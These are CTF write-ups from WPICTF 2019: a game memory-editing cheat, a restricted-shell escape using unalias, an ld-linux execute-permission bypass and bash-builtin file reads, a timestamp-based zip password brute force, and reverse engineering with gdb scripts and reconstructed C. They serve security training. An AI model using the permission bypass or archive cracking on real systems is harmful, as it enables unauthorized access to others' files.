WPICTF 2019

misc

misc

Remy's Epic Adventure

Task

We're given a short platformer and we have to beat it to get the flag.

Solution

So firstly I "beat" the game normally. But the problem is that the final boss' health doesn't even budge when you hit him, but task author ensured that his health is being affected.

So I had to cheat a bit.

First thing I tried was autoclicker. It sure helps with beginning levels, but boss still seems invincible.
So then my teammates told me about sth called CheatEngine - simple program to cheating in simple games. Just what we need.
One of the options is game tick acceleration, but even with autoclicker it wasn't enough. So I concluded I had to directly alter the boss' health.
Other useful option in CheatEngine is searching for values. You can search for places in memory that have given property.

So normally one would search for boss' health and modify it. But I didn't know exact value so I came up with another plan. I guessed boss health is four byte integer. So I search for 4-byte integers lower than 0xffffffff. Then a got couple hits in and from previous findings searched for such that value decreased. After about five iterations there was only four possible values and one was decreasing by 1 when I was hitting the boss.

So I changed it to 10 and when I resumed the game boss health bar disappeared. I finished it of and there was the finish. And there I was at the title screen happy about myself. Here comes a guy, pulling the flag out from behind the screen. (will add photos later)

When there was about two thirds of flag visible he stopped. And then he jumped quickly showing the flag for split-second. Eh...

So I had to repeat the process, but I got to the title screen I used CheatEngine speed alteration to slow down the game 10 times and recorded the display with my phone. Then I read the whole flag that is WPI{j0in_th3_illumin@ti_w1th_m3}.

Linux

Linux

suckmore-shell

suckmore-shell

Author: Karol Baryła (aka Lorak_)

suckmore-shell was a task from WPI CTF 2019. Task description:

Screenshot_20190415_182514.png

Here is whole process of solving task, explanation below:

ssh ctf@107.21.60.114
ctf@107.21.60.114's password: https://wiki.armiaprezesa.pl/books/wpictf2019/page/wpi
SuckMORE shell v1.0.1. Note: for POSIX support update to v1.1.0
suckmore>ls
suckmore>ls -a
sleep: invalid option -- 'a'
Try 'sleep --help' for more information.
suckmore>alias
alias bash='sh'
alias cat='sleep 1 && vim'
alias cd='cal'
alias cp='grep'
alias dnf=''
alias find='w'
alias less='echo "We are suckMORE, not suckless"'
alias ls='sleep 1'
alias more='echo "SuckMORE shell, v1.0.1, (c) SuckMore Software, a division of WPI Digital Holdings Ltd."'
alias nano='touch'
alias pwd='uname'
alias rm='mv /u/'
alias sh='echo "Why would you ever want to leave suckmore shell?"'
alias sl='ls'
alias vi='touch'
alias vim='touch'
alias which='echo "Not Found"'
suckmore>unalias -a
suckmore>ls
bash: /usr/bin/ls: Permission denied
suckmore>/lib64/ld-linux-x86-64.so.2  /usr/bin/ls
/usr/bin/ls: error while loading shared libraries: /usr/bin/ls: cannot open shared object file: Permission denied
suckmore>echo *
bin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
suckmore>echo /root/*
/root/*
suckmore>echo /home/*
/home/ctf
suckmore>echo /home/ctf/*
/home/ctf/flag
suckmore>echo $(</home/ctf/flag)
WPI{bash_sucks0194342}
suckmore>Connection to 107.21.60.114 closed.

So, I was greeted by shell, probably bash. ls does nothing, ls -a gives us error from sleep command, so I know that ls is an alias for sleep. Next step is of course checking any other aliases for anything intresting, but all of them are just obastacles, so I deleted them with unalias -a, which makes the shell pretty much normal bash. Next step is to find and print flag, but it looks like executables don't have execute permission. No problem, lets execute them trough ld-linux (For those who don't know: it is something like an interpreter, but for binary files. Just as you can do python ./scriptname.py you can do /lib64/ld-linux-x86-64.so.2 ./binaryname. It allows us to bypass missing execution permissions). Unfortunately, it didn't work there, turns out those files didn't have read permissions too. It means that I needed to get flag only with bash builtins. Easy enough. ls can be replaced with echo /path/*, cat can be replaced with echo $(< /path/to/file). That was enough to get the flag.

Linux

wannasigh

wannasigh

Author: Karol Baryła (aka Lorak_)

wannsigh was a task from WPI CTF 2019. Task description:

Screenshot_20190415_185355.png

File linked to in description is .ova file, a virtual machine with ubuntu installed. In ~ directory there is a encrypted zip file named your-stuff.zip containing most of the files from /home directory. Among other files there is flag.xcf. Task description hinted as that the encrypter was in a calc file. I opened firefox, and in the downloads there indeed is .ods file. It was downloaded from some gitlab repo (link), and in the commit history there is a commit with a bash script (link).

CURRENT_TIME=$(($(date +%s%N)/1000000))
echo $CURRENT_TIME

zip --password $CURRENT_TIME  ~/Templates/your-stuff.zip ~/Templates/*

NEXT_TIME=$(($(date +%s%N)/1000000))
echo $NEXT_TIME

It zips ~/Templates directory using current time as key. To get file modification date as timestamp I used command stat -c '%Y' your-stuff.zip, which yelded 1554920623. There was one last problem left, $(($(date +%s%N)/1000000)) gives us time stamp with an accuracy of miliseconds and file modification time is saved with accuracy of seconds. So the last thing to do was to bruteforce every milisecond in given second to get true key. Script to do that:

import zipfile 


zip = zipfile.ZipFile('./your-stuff.zip', 'r') 


for i in range(1000): 
     try: 
         zip.setpassword(b'1554920623' + ('%03d' % (i,) ).encode()) 
         zip.extractall('/tmp/unpack') 
         print('SUCCESS. Key: ' + '1554920623' + ('%03d' % (i,) )) 
     except: 
         pass 

It successfully unpacks zip, and we can get our flag: Screenshot_20190415_201415.png

Reversing

Reversing

run_s0m3_w4r3z

Task

run_s0m3_w4r3z was a task from WPI CTF 2019. Task description:

Screenshot_20190415_205919.png

Solving


I won't be going into much detail on how I reversed the functions, because it pretty much came down to renaming and retyping variables in ghidra - it decompiled everything pretty well.


So, there's a binary that asks for password:

./run_s0m3_w4r3z
Enter input:aaaaaaaaaaaaaaaa
Processing input...
Incorrect password!

After opening in ghidra and tweaking main function a bit I got:

int main(int argc)

{
  time_t time1;
  time_t time2;
  time_t time3;
  long *local_FS_OFFSET_-1;
  char line [8];
  long canary;
  long canary_;

  canary_ = local_FS_OFFSET_-1[5];
  printf("Enter input:");
  time1 = time((time_t *)0x0);
  gets(line);
  _input = line;
  _canary = canary_;
  time2 = time((time_t *)0x0);
  time3 = time((time_t *)0x0);
  if (canary_ != local_FS_OFFSET_-1[5]) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return argc / (((int)time3 - (int)DAT_001070e0) - ((int)time2 - (int)time1));
}

That's definitely not what I expected. Where's the rest of program? Turns out that it uses some form of obfuscation, whole program flow is not controlled as usual, but by signals and their handlers, and also there is code in functions like _FINI_1, _INIT_0, _INIT_1, etc. So, I've got a bunch of functions and no information on how they interfere with each other. Even better, most of data handling was trough global variables. Best of all, _input global variable and _canary global variable are overlapping. Sweet. So I started looking trough functions, searching for intresting ones and reversing them. To do that, the list of Strings is extremely useful. Turns out, string "Incorrect password!" is used only in one place (_FINI_1), let's reverse it a bit:

void _FINI_1(void)

{
  long in_FS_OFFSET;
  undefined local_14 [4];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  if (5 < DAT_001070bc) {
    wait(local_14);
    if (input_error_number == 2) {
      puts("Input too short!");
    }
    else {
      if (input_error_number == 3) {
        puts("Incorrect password!");
      }
      else {
        if (input_error_number != 0) {
          puts("Debugger detected!");
        }
      }
    }
  }
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

So, it uses input_error_number global variable to check if password entered is good, and values of 2, 3, 1 are bad, and value of 0 means good password. Let's check what functions can write 3 to this variable. There's again only one such function. Here it is reversed, but I'll explain a bit more on how to get it to such state:

void check_password_is_valid(int param_1,siginfo_t *param_2,ucontext *param_3)

{
  byte bVar1;
  char cVar2;

  bVar1 = *(byte *)((param_3->uc_mcontext).gregs[0x10] + 4);
  cVar2 = *(char *)((param_3->uc_mcontext).gregs[0x10] + 5);
  (param_3->uc_mcontext).gregs[0x10] = (param_3->uc_mcontext).gregs[0x10] + 0xb;
  if ((uint)(byte)(&input)[(long)(int)(uint)bVar1] != (int)cVar2) {
    input_error_number = 3;
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  return;
}

Before setting correct types this func looks like garbage. How do we know that it takes a siginfo_t* and ucontext*? If we search for references to this func, there's one that looks intresting:

void FUN_0010435b(void)

{
  long in_FS_OFFSET;
  int local_28c;
  undefined *func_input_too_short;
  undefined local_1e8 [160];
  undefined *func_input_check_valid;
  undefined local_a8 [152];
  ulong canary;

  canary = *(ulong *)(in_FS_OFFSET + 0x28);
  if (DAT_001070bc != DAT_001070cc) {
    wait(&local_28c);
                    /* WARNING: Subroutine does not return */
    exit(local_28c);
  }
  signal(6,exit);
  func_input_too_short = input_was_too_short;
  sigaction(8,(sigaction *)&func_input_too_short,(sigaction *)local_1e8);
  func_input_check_valid = check_password_is_valid;
  sigaction(0xb,(sigaction *)&func_input_check_valid,(sigaction *)local_a8);
  DAT_001070bc = 6;
  if (canary != *(ulong *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  DAT_001070bc = 6;
  return;
}

This function registers our check_password_is_valid function as handler for signal 11 (0xb, SIGSEGV). I checked in documentation what arguments must sigaction take and what parameters are passed to handler when process gets registered signal. As you saw in code before, those arguments are:

int - signal number
siginfo_t - some more informations about signal reveived. Unused in the task.
ucontext - it contains informations about program state, such as registers values.

Setting proper types in ghidra (and some renaming of course) gives us code I posted before. As you can see, it takes one of our input chars and compares it with some value. input index and that value are taken from ucontext struct, so program probably sets registers to certain values and then does something to make signal 11 happen. That's not really important. What's important is that we can now get the flag. Battle plan:

  1. Get check_password_is_valid offset in file and set breakpoint in gdb.
  2. Check index of input and what value should it have.
  3. Repeat as long as needed.

There was one problem left. As I said in the beggining, _input and _canary global variables are overlapping (_input is 16 bytes, last 8 ar overlapping with _canary, so if our input is more than 8 chars it will break the canary), and of course malformed _canary means program crash. If our input is too short, it is deemed as so, and app closes. Intrestingly, we can overwrite first byte or two of canary and it will work once every few tries. So, new battleplan:

  1. Run the app with long enough input (9 chars, 8 is too short), works once every few tries.
  2. Set 3 breakpoints: to check index, to check char, and to fix comparision by setting correct value in register
  3. Breakpoints hit.
  4. Check index of input and what value should it have, note id down.
  5. Set value in register to correct value, so comparision works and program continues.
  6. Go to step 3.

Solution

Script for gdb, you should be able to just ctrl+c ctrl+v it to gdb with binary open, and you should get output with indexes and chars:

handle all nostop noprint pass #program uses signals for flow control, we don't want to stop or care about them
del #delete other breakpoints, they would interfere with script
set follow-fork-mode parent #binary forks a few times, probably form of obfuscation/anti debugging
break *(0x555555556000+0x22BE+0x34)
break *(0x555555556000+0x22BE+0x49)
break *(0x555555556000+0x22BE+0x82)
r < <(echo 123456789) #don't do longer input, less chance of running successfully
while 1
p "index"
p $al
c

p "znak"
p $al
c

set $rdx=$rax # fix comparision
c
end

0x555555556000 is entry point, you may need to edit it. This will only work once every few tries, so you just need to trie again if it says "Invalid password" before breaking anywhere. After it works we get output:

$72 = "index"
$73 = 0

Breakpoint 2, 0x0000555555558307 in ?? ()
$74 = "znak"
$75 = 87

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$76 = "index"
$77 = 9

Breakpoint 2, 0x0000555555558307 in ?? ()
$78 = "znak"
$79 = 82

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$80 = "index"
$81 = 12

Breakpoint 2, 0x0000555555558307 in ?? ()
$82 = "znak"
$83 = 33

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$84 = "index"
$85 = 7

Breakpoint 2, 0x0000555555558307 in ?? ()
$86 = "znak"
$87 = 87

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$88 = "index"
$89 = 4

Breakpoint 2, 0x0000555555558307 in ?? ()
$90 = "znak"
$91 = 65

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$92 = "index"
$93 = 5

--Type <RET> for more, q to quit, c to continue without paging--c
Breakpoint 2, 0x0000555555558307 in ?? ()
$94 = "znak"
$95 = 83

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$96 = "index"
$97 = 8

Breakpoint 2, 0x0000555555558307 in ?? ()
$98 = "znak"
$99 = 79

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$100 = "index"
$101 = 11

Breakpoint 2, 0x0000555555558307 in ?? ()
$102 = "znak"
$103 = 33

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$104 = "index"
$105 = 3

Breakpoint 2, 0x0000555555558307 in ?? ()
$106 = "znak"
$107 = 80

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$108 = "index"
$109 = 2

Breakpoint 2, 0x0000555555558307 in ?? ()
$110 = "znak"
$111 = 87

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$112 = "index"
$113 = 1

Breakpoint 2, 0x0000555555558307 in ?? ()
$114 = "znak"
$115 = 79

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$116 = "index"
$117 = 6

Breakpoint 2, 0x0000555555558307 in ?? ()
$118 = "znak"
$119 = 83

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$120 = "index"
$121 = 13

Breakpoint 2, 0x0000555555558307 in ?? ()
$122 = "znak"
$123 = 33

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$124 = "index"
$125 = 14

Breakpoint 2, 0x0000555555558307 in ?? ()
$126 = "znak"
$127 = 49

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$128 = "index"
$129 = 15

Breakpoint 2, 0x0000555555558307 in ?? ()
$130 = "znak"
$131 = 33

Breakpoint 3, 0x0000555555558340 in ?? ()

Breakpoint 1, 0x00005555555582f2 in ?? ()
$132 = "index"
$133 = 10

Breakpoint 2, 0x0000555555558307 in ?? ()
$134 = "znak"
$135 = 68

Breakpoint 3, 0x0000555555558340 in ?? ()
Decrypting file...
File decrypted.
Here's your flag: flag{{�?z�X{�����Q��?}
[Inferior 1 (process 20873) exited normally]
$136 = "index"

So, input[0] = 87 (which is 'W'), input[9] = 82 etc. Complete password: WOWPASSWORD!!!1! After feeding it to binary:

./run_s0m3_w4r3z
Enter input:WOWPASSWORD!!!1!
Processing input...
Decrypting file...
File decrypted.
Here's your flag: flag{s1gN4l_0r_n01S3?}
Reversing

wPI

wPI

Author: Karol Baryła (aka Lorak_)

---Writeup not finished----
wPI was a task from WPI CTF 2019. Task description:

My solution is not the intended one, but hey, it works. Brief steps to solution:

Binary isn't stripped, so we can easily locate main function, and Ghidra does great job decompiling it. That's what ghidra gives us:

undefined8 main(int param_1,long param_2)

{
  ushort *data;
  int iVar1;
  undefined8 uVar2;
  size_t len;
  long in_FS_OFFSET;
  uint local_148;
  uint local_144;
  uint local_140;
  int local_13c;
  ushort *local_138;
  int local_124;
  int local_120;
  int local_11c;
  MD5_CTX local_118;
  SHA256_CTX local_b8;
  ushort local_48 [8];
  uchar local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  InitializeTwoPowers();
  puts("Running...");
  if (param_1 == 2) {
    data = *(ushort **)(param_2 + 8);
    len = strlen((char *)data);
    if (len == 0x20) {
      MD5_Init(&local_118);
      len = strlen((char *)data);
      MD5_Update(&local_118,data,len);
      MD5_Final((uchar *)local_48,&local_118);
      local_144 = (uint)local_48[0];
      local_140 = local_144;
      local_13c = 0;
      local_138 = data;
      while (local_13c < 0x10) {
        local_148 = (uint)*local_138;
        local_140 = local_140 + local_148;
        findDigits(local_140,(long)&local_124,3);
        if (((local_124 != *(int *)(digits + (long)local_13c * 0xc)) ||
            (local_120 != *(int *)(digits + (long)local_13c * 0xc + 4))) ||
           (local_11c != *(int *)(digits + (long)local_13c * 0xc + 8))) {
          uVar2 = 0;
          goto LAB_001019d5;
        }
        local_138 = local_138 + 1;
        local_13c = local_13c + 1;
      }
      SHA256_Init(&local_b8);
      len = strlen((char *)data);
      SHA256_Update(&local_b8,data,len);
      SHA256_Final(local_38,&local_b8);
      iVar1 = strncmp((char *)local_38,hash,0x20);
      if (iVar1 == 0) {
        puts("Correct!");
      }
      uVar2 = 1;
    }
    else {
      uVar2 = 0;
    }
  }
  else {
    uVar2 = 0;
  }
LAB_001019d5:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

All we need to do here is some renaming and retyping to get more readable code. That's what I've got:


int main(int argc,char **argv)

{
  int iVar1;
  size_t len;
  long in_FS_OFFSET;
  uint data_fragment;
  uint digest_md5_2b;
  uint accumulator;
  int i;
  ushort *data_iterator;
  int calculated_digits [3];
  MD5_CTX md5_struct;
  SHA256_CTX local_b8;
  ushort md5_digest [8];
  uchar local_38 [40];
  long canary;
  ushort *data;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  InitializeTwoPowers();
  puts("Running...");
  if (argc == 2) {
    data = (ushort *)argv[1];
    len = strlen((char *)data);
    if (len == 0x20) {
      MD5_Init(&md5_struct);
      len = strlen((char *)data);
      MD5_Update(&md5_struct,data,len);
      MD5_Final((uchar *)md5_digest,&md5_struct);
      digest_md5_2b = (uint)md5_digest[0];
      accumulator = digest_md5_2b;
      i = 0;
      data_iterator = data;
      while (i < 0x10) {
        data_fragment = (uint)*data_iterator;
        accumulator = accumulator + data_fragment;
        findDigits(accumulator,(long)calculated_digits,3);
        if (((calculated_digits[0] != *(int *)(digits + (long)i * 0xc)) ||
            (calculated_digits[1] != *(int *)(digits + (long)i * 0xc + 4))) ||
           (calculated_digits[2] != *(int *)(digits + (long)i * 0xc + 8))) {
          iVar1 = 0;
          goto exit_program;
        }
        data_iterator = data_iterator + 1;
        i = i + 1;
      }
      SHA256_Init(&local_b8);
      len = strlen((char *)data);
      SHA256_Update(&local_b8,data,len);
      SHA256_Final(local_38,&local_b8);
      iVar1 = strncmp((char *)local_38,hash,0x20);
      if (iVar1 == 0) {
        puts("Correct!");
      }
      iVar1 = 1;
    }
    else {
      iVar1 = 0;
    }
  }
  else {
    iVar1 = 0;
  }
exit_program:
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1;
}

Now we can see what the binary does.

We know the first 4 chars of flag: WPI{
It means we can bruteforce the first 2 bytes of md5, because first value of accumulator is md5[0:2] + input[0:2]. From that bruteforce we get more than 10 working values, but only one still works in second iteration (with input[2:4] added) At that point I didn't have working C code, so I had to do that with gdb loop, which took a loooot of time (about 2 hours IIRC) (I thought it would be much faster and planned on doing whole challenge that way, but reality verified my plans). I'll add gdb commands later, because I lost them (storing CTF files in /tmp isn't the best idea after all).

Placeholder for gdb script

Now that we have first 2 chars, we could do the rest of challange that way. But doing that in gdb would be way too slow, so I decided to completely reverse binary, get C code, and do that in C. First thing we need for that is findDigits source. Ghidra does pretty good job, but we need to help it a bit (again, retyping and renaming variables, changing series return type to double, and then some tweaks in final code is enough). That's what Ghidra creates initially:

void findDigits(int param_1,long param_2,int param_3)

{
  double extraout_XMM0_Qa;
  double extraout_XMM0_Qa_00;
  double extraout_XMM0_Qa_01;
  double extraout_XMM0_Qa_02;
  double dVar1;
  int local_34;
  double local_30;
  
  series(1,param_1);
  series(4,param_1);
  series(5,param_1);
  series(6,param_1);
  dVar1 = ((extraout_XMM0_Qa * 4.00000000 - (extraout_XMM0_Qa_00 + extraout_XMM0_Qa_00)) -
          extraout_XMM0_Qa_01) - extraout_XMM0_Qa_02;
  local_30 = (dVar1 - (double)(int)dVar1) + 1.00000000;
  local_34 = 0;
  while (local_34 < param_3) {
    local_30 = (local_30 - (double)(int)local_30) * 16.00000000;
    *(int *)((long)local_34 * 4 + param_2) = (int)local_30;
    local_34 = local_34 + 1;
  }
  return;
}

My code:

void findDigits(int value, int *to_calculate, int size){
	int i;
	double wynik;

	double series1 = series(1,value);
	double series4 = series(4,value);
	double series5 = series(5,value);
	double series6 = series(6,value);

	series6 = ((series1 * 4.00000000 - (series4 + series4)) - series5) - series6;
	wynik = (series6 - (double)(int)series6) + 1.00000000;

	for(int i = 0; i < size; i++) {
		wynik = (wynik - (double)(int)wynik) * 16.00000000;
		to_calculate[(long)i] = (int)wynik;
	}
	return;
}

Now let's do the same with series function. Initial code:

undefined  [16] series(int param_1,int param_2)

{
  ulong extraout_RAX;
  ulong uVar1;
  undefined8 in_RDX;
  undefined8 extraout_RDX;
  undefined8 extraout_RDX_00;
  double dVar2;
  int local_30;
  int local_2c;
  
  local_30 = 0;
  while (local_2c = param_2, local_30 < param_2) {
    ModPow16(ZEXT816((ulong)(double)(param_2 - local_30)),(double)(param_1 + local_30 * 8));
    local_30 = local_30 + 1;
    in_RDX = extraout_RDX;
  }
  while ((uVar1 = (ulong)(param_2 + 100U), local_2c <= (int)(param_2 + 100U) &&
         (dVar2 = pow(16.00000000,(double)(param_2 - local_2c)), uVar1 = extraout_RAX,
         in_RDX = extraout_RDX_00, 0.00000000 <= dVar2 / (double)(param_1 + local_2c * 8)))) {
    local_2c = local_2c + 1;
    in_RDX = extraout_RDX_00;
  }
  return CONCAT88(in_RDX,uVar1);
}

Tweaked code:

double series(int param_1,int param_2) {
	double retval;
	double modulo;
	int i;
	int j;
	double wynik;

	wynik = 0.00000000;
	i = 0;
	for (int i = 0; i < param_2; i++) {
		modulo = (double)(param_1 + i * 8);
		retval = ModPow16((double)(param_2 - i),modulo);
		wynik = retval / modulo + wynik;
		wynik = wynik - (double)(int)wynik; 
	}


	for(int j = param_2; j <= param_2 + 100; j++){
		modulo = pow(16.00000000,(double)(param_2 - j));
		modulo = modulo / (double)(param_1 + j * 8);
		if (modulo < 0.00000000) break;
		wynik = wynik + modulo;
		wynik = wynik - (double)(int)wynik;
	}

	return wynik;
}

Now, we see that this function calls ModPow16. Let's see what Ghidra can tell us about this function:

undefined  [16] ModPow16(undefined param_1 [16],double param_2)

{
  undefined auVar1 [16];
  int local_28;
  int local_24;
  double local_20;
  double local_18;
  double local_10;
  
  local_20 = SUB168(param_1,0);
  if (param_2 == 1.00000000) {
    auVar1 = (undefined  [16])0x0;
  }
  else {
    local_28 = 0;
    while ((local_28 < 0x20 && ((double)*(int *)(twoPowers + (long)local_28 * 4) <= local_20))) {
      local_28 = local_28 + 1;
    }
    local_18 = (double)*(int *)(twoPowers + (long)(local_28 + -1) * 4);
    local_10 = 1.00000000;
    local_24 = 1;
    while (local_24 <= local_28) {
      if (local_18 <= local_20) {
        local_10 = local_10 * 16.00000000 -
                   (double)(int)((local_10 * 16.00000000) / param_2) * param_2;
        local_20 = local_20 - local_18;
      }
      local_18 = local_18 * 0.50000000;
      if (1.00000000 <= local_18) {
        local_10 = local_10 * local_10 - (double)(int)((local_10 * local_10) / param_2) * param_2;
      }
      local_24 = local_24 + 1;
    }
    auVar1 = ZEXT816((ulong)local_10);
  }
  return auVar1;
}

It doesn't look good. I couldn't get ghidra to give us anything much better than this:

double ModPow16(double param_1,double param_2)

{
  unkfloat1 retval;
  int i;
  int local_24;
  double local_20;
  double max_2_pow;
  
  local_20 = SUB168((undefined  [16])(longdouble)param_1,0);
  if (param_2 != 1.00000000) {
    i = 0;
    while ((i < 0x20 && ((double)twoPowers[(long)i] <= local_20))) {
      i = i + 1;
    }
    max_2_pow = (double)twoPowers[(long)(i + -1)];
    local_24 = 1;
    while (retval = (unkfloat1)local_24, local_24 <= i) {
      if (max_2_pow <= local_20) {
        local_20 = local_20 - max_2_pow;
      }
      max_2_pow = max_2_pow * 0.50000000;
      local_24 = local_24 + 1;
    }
  }
  return (double)retval;
}

And this code is totally wrong and does something totally different than original function. GDB proved very useful here. I could run binary in gdb, break somwhere in main, and call that function myself to see what it returns. Turns out it counts (16.0 ^ param_1) % param_2. So I asked my friend who is more into alghoritms than me to implement it himself it, here's what he gave me:

double mod(double a, double b) {
	return a - (double)((long)(a/b)) * b;
}

double ModPow16(double exponent, double modulo) {
	double wynik = 1;
	if (exponent < 0.0) return 1.0;
	int exp = exponent;
	if (modulo != 1.000000000) {
		double pods = 16.0;
		while (exp > 0) {
			if (exp & 1) wynik = mod((wynik * pods), modulo);
			pods = mod(pods * pods, modulo);
			exp >>= 1;
		}
		wynik = mod(wynik, modulo);
		return wynik;
	}

		return 0.0;
}

If modulo is integer, this function works as original one. If it is not, then it gives different results but it doesn't matter - it is always called with modulo being integer. Now I could execute original plan - knowing initial value of accumulator, let's check what 2-char pair could come next. It took some time, because the bigger the accumulator is, the longer it takes to calculate series. Also there was some guessing, because it always gave more than 1 result, usually 4-5. Program to calculate possible next values:

#include <stddef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <unistd.h>

int digits[48] = {0xE,0x8,0x9,0xB,0x8,0x7,0x8,0xA,0xD,0x7,0xC,0x7,0xE,0x7,0xC,0x3,0xA,0x3,0x4,0x2,0x5,0x2,0x7,0x5,0xB,0x5,0x4,0x1,0xA,0x6,0x2,0xE,0xD,0x1,0xC,0x5,0xF,0xD,0xF,0x3,0x3,0x1,0x2,0xD,0xB,0x7,0x4,0xF};


int twoPowers[32];


void InitializeTwoPowers(void){
  int i;

  twoPowers[0] = 1;
  i = 1;
  while (i < 32) {
    twoPowers[(long)i] =
         (int)((double)twoPowers[(long)(i + -1)] + (double)twoPowers[(long)(i + -1)]);
    i = i + 1;
  }
  return;
}


double mod(double a, double b) {
	return a - (double)((long)(a/b)) * b;
}

// 16 ^ exponent % modulo
// exponent i modulo są doublami
// ale zawsze są calkowite
double ModPow16(double exponent, double modulo) {
	double wynik = 1;
	if (exponent < 0.0) return 1.0;
	int exp = exponent;
	if (modulo != 1.000000000) {
		double pods = 16.0;
		while (exp > 0) {
			if (exp & 1) wynik = mod((wynik * pods), modulo);
			pods = mod(pods * pods, modulo);
			exp >>= 1;
		}
		wynik = mod(wynik, modulo);
		return wynik;
	}

		return 0.0;
}


//Tafunkcja nas interesuje
double series(int param_1,int param_2) {
	double retval;
	double modulo;
	int i;
	int j;
	double wynik;

	wynik = 0.00000000;
	i = 0;
	for (int i = 0; i < param_2; i++) {
		modulo = (double)(param_1 + i * 8);
		retval = ModPow16((double)(param_2 - i),modulo);
		wynik = retval / modulo + wynik;
		wynik = wynik - (double)(int)wynik; //Część ułamkowa wyniku
	}


	for(int j = param_2; j <= param_2 + 100; j++){
		modulo = pow(16.00000000,(double)(param_2 - j));
		modulo = modulo / (double)(param_1 + j * 8);
		if (modulo < 0.00000000) break;
		wynik = wynik + modulo;
		wynik = wynik - (double)(int)wynik;
	}

	return wynik;
}

void findDigits(int value, int *to_calculate, int size){
	int i;
	double wynik;

	double series1 = series(1,value);
	double series4 = series(4,value);
	double series5 = series(5,value);
	double series6 = series(6,value);

	series6 = ((series1 * 4.00000000 - (series4 + series4)) - series5) - series6;
	wynik = (series6 - (double)(int)series6) + 1.00000000;

	for(int i = 0; i < size; i++) {
		wynik = (wynik - (double)(int)wynik) * 16.00000000;
		to_calculate[(long)i] = (int)wynik;
	}
	return;
}


int main(int argc,char **argv){
	size_t len;
	uint data_fragment;
	uint accumulator;
	int i;
	ushort *data_iterator;
	int calculated_digits [3];
	ushort *data;

	InitializeTwoPowers();
	puts("Running...");

	accumulator = 0xd75e; //First 2 bytes of md5(data)
	accumulator += 'W' + ('P'<<8);
	accumulator += 'I' + ('{'<<8);
	accumulator += 'S' + ('w'<<8);
	accumulator += '3' + ('3'<<8);
	accumulator += 'T' + ('e'<<8);
	accumulator += 'R' + ('_'<<8);
	accumulator += 't' + ('H'<<8);
	accumulator += '@' + ('n'<<8);
	accumulator += '_' + ('a'<<8);
	accumulator += '+' + ('R'<<8);
	printf("Accumulator: %x\n", accumulator);
	i = 10;

	int begin = 0;
	for(int j = 0; j < 8; j++) {
		pid_t pid = fork();
		begin = j;
		if (pid != 0) break;
		if (pid == 0 && j == 7)  exit(0);
	}
	for (int a = 32 + begin * 12; a < 32 + (begin+1) * 12; a++){
		for(int b = 32; b < 127; b++){
			findDigits(accumulator + a + (b <<8), calculated_digits, 3);
			if (((calculated_digits[0] == digits[(long)i * 3]) &&
			(calculated_digits[1] == digits[(long)i * 3 + 1])) &&
			(calculated_digits[2] == digits[(long)i * 3 + 2])) {
				printf("Possible result: %c %c %x\n", (char)a, (char)b, a + (b <<8));
			}
			if(b == 32) {
				printf("Progress: (%d/12) (%d)\n", a - (32 + begin * 12) + 1, a);
			}
		}
	}

	printf("Task %d ended\n", begin);
	exit(0);


	return 0;
}

It runs 8 processes to increase speed. To run it, you must set i in line 127 to number of guessed pairs of chars, above it are those pairs (it's pretty obvious). Then compile it with gcc solve.c -O2 -o solve -lm, run, and it should print possible next pairs. After some waiting and guessing, we got the flag: WPI{Sw33TeR_tH@n_aH_cH3rRi3_P1e}

Turns out that's not how you are supposed to solve this task. We didn't go deep into what this functions actually calculate. Author of the task told me (after we solved it), that it was using this formula: link. So I guess the proper solution was to precalculate pi and search for indexes of digits from the predefined array.

Hardware

Hardware

coffeegate

coffeegate

Author: Paweł Wieczorek (aka cerber-os)

In this challenge we were given an image consisting of (from left to right): the truth table, circuit with some gates removed and table for easy convertion between decimal system and input bits of this "device". redacted-circuit.png

From this we could deduce that the flag will be outputted by this circuit bit by bit for every next value of input (where A - is MSB and Z - LSB) beginning with 0. Let's start with the truth table - it contains 88 cells not filled with 'X', which means that the flag will have 11 characters. In this case, the 'X' character means "undefined", so we shouldn't rely / use values returned by circuit for this inputs.

